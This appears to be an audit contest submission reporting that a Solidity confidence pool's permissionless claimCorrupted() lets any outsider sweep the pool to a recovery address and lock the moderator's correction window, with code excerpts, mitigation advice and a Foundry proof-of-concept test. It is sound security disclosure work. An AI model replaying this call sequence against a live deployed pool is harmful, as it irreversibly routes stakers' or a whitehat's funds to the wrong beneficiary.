FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

`claimCorrupted` lets outsiders lock the wrong corrupted branch

Author Revealed upon completion

Description

The protocol keeps a pre-claim correction window open so the moderator can fix a wrongly flagged CORRUPTED outcome. The root cause is that bad-faith claimCorrupted() is permissionless and sets claimsStarted = true, so any outsider can sweep to recoveryAddress and permanently block a still-valid correction to SURVIVED or good-faith CORRUPTED.

Details

The contract and design doc both present pre-claim re-flagging as a real safety window, not just a theoretical privilege. flagOutcome intentionally allows re-flags until claimsStarted becomes true, and the design doc says the moderator may correct a typo'd outcome or attacker before any participant locks in the wrong distribution. The unit suite encodes the same assumption by proving re-flagging is allowed before any claim succeeds.

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
...
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
...
}

That correction window is supposed to stay open until a claimant with an economic stake actually relies on the flagged branch. But claimCorrupted() is permissionless and has no caller entitlement check at all. On the bad-faith branch it only requires outcome == CORRUPTED, then it sweeps the contract's full live balance to recoveryAddress and flips claimsStarted = true.

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(recoveryAddress, toSweep);
}

That means an outsider can capture the moderator's correction window even though the docs say this is not a front-runnable path. The design doc's rejection of that class of issue is explicitly grounded in the idea that a claim is the distribution-locking event and a staker claiming first is exercising a correct outcome, not usurping one. Here the caller need not be a staker, the named attacker, or any beneficiary at all. A pure outsider can choose when the pool becomes irrevocably recovery-routed.

The result is a concrete wrong-beneficiary sequence:

The moderator flags bad-faith CORRUPTED on a terminal-CORRUPTED registry state, but has not yet closed the documented correction window. Before the moderator can re-flag to SURVIVED (out-of-scope breach) or to good-faith CORRUPTED (named whitehat bounty), an outsider calls claimCorrupted(). The outsider receives nothing themselves, but the function sends the full pool to the sponsor-controlled recoveryAddress and permanently prevents the correction because claimsStarted is now true. The unit suite already proves the locking half of this behavior by asserting once claimCorrupted() runs, later re-flagging reverts OutcomeAlreadySet.

vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
pool.claimCorrupted();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

I validated both economically distinct branches locally:

  • the outsider can prevent a later correction to good-faith CORRUPTED, redirecting the full bounty away from the named attacker and into recoveryAddress

  • the outsider can prevent a later correction to SURVIVED, forcing stakers' principal and bonus into recoveryAddress even though the moderator could still have restored the survivor payout path moments earlier

This is not the same root cause as the already-documented claimExpired races. Those live in the scope-blind auto-resolution backstop and are accepted in the design doc. This issue comes from a different permissionless function, claimCorrupted(), being allowed to become the first irreversible value-moving action during a moderator-sanctioned correction window.

Risk

Any outsider can force the full pool onto the recovery branch before the moderator finishes a still-valid correction. On an out-of-scope corruption flag, the outsider causes stakers to lose principal plus bonus to recoveryAddress instead of receiving SURVIVED. On a good-faith corruption correction, the outsider causes the named attacker to lose the full bounty to recoveryAddress. The outsider therefore decides when users lose optionality and irreversibly routes the entire pool to the wrong beneficiary.

Recommended mitigation steps

Do not let permissionless claimCorrupted() start finality while the moderator's documented pre-claim correction window is still open; require an explicit finalization step before outsider-triggerable recovery sweeps.

Proof of concept

Run:

forge test --match-path test/TempOutsiderClaimCorruptedLocksCorrection.t.sol -vv

Observed output:

Compiling 1 files with Solc 0.8.26
Solc 0.8.26 finished in 7.26s
Compiler run successful!
Ran 2 tests for test/TempOutsiderClaimCorruptedLocksCorrection.t.sol:TempOutsiderClaimCorruptedLocksCorrectionTest
[PASS] testOutsiderCanForceRecoveryBranchBeforeModeratorCanCorrectToGoodFaith() (gas: 6841727)
[PASS] testOutsiderCanForceRecoveryBranchBeforeModeratorCanCorrectToSurvived() (gas: 6740493)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 12.18ms (3.58ms CPU time)
Ran 1 test suite in 23.14ms (12.18ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

PoC file used:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract TempOutsiderClaimCorruptedLocksCorrectionTest is BaseConfidencePoolTest {
function testOutsiderCanForceRecoveryBranchBeforeModeratorCanCorrectToGoodFaith() external {
ConfidencePool exploitPool = _deployPool();
ConfidencePool controlPool = _deployPool();
_stakeInto(exploitPool, alice, 100 * ONE);
_bonusInto(exploitPool, carol, 50 * ONE);
_stakeInto(controlPool, alice, 100 * ONE);
_bonusInto(controlPool, carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
exploitPool.pokeRiskWindow();
controlPool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
exploitPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.prank(moderator);
controlPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
exploitPool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE, "outsider routed full pool to recovery");
assertTrue(exploitPool.claimsStarted(), "outsider locks the correction window");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
exploitPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
vm.prank(moderator);
controlPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
controlPool.claimAttackerBounty();
assertEq(
token.balanceOf(attacker) - attackerBefore,
150 * ONE,
"without outsider finality the moderator can still route the same pool to the attacker"
);
}
function testOutsiderCanForceRecoveryBranchBeforeModeratorCanCorrectToSurvived() external {
ConfidencePool exploitPool = _deployPool();
ConfidencePool controlPool = _deployPool();
_stakeInto(exploitPool, alice, 100 * ONE);
_bonusInto(exploitPool, carol, 50 * ONE);
_stakeInto(controlPool, alice, 100 * ONE);
_bonusInto(controlPool, carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
exploitPool.pokeRiskWindow();
controlPool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
exploitPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.prank(moderator);
controlPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
exploitPool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE, "outsider swept the full pool");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
exploitPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(moderator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
controlPool.claimSurvived();
assertEq(
token.balanceOf(alice) - aliceBefore,
150 * ONE,
"without outsider finality the moderator can still restore the staker payout path"
);
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _bonusInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!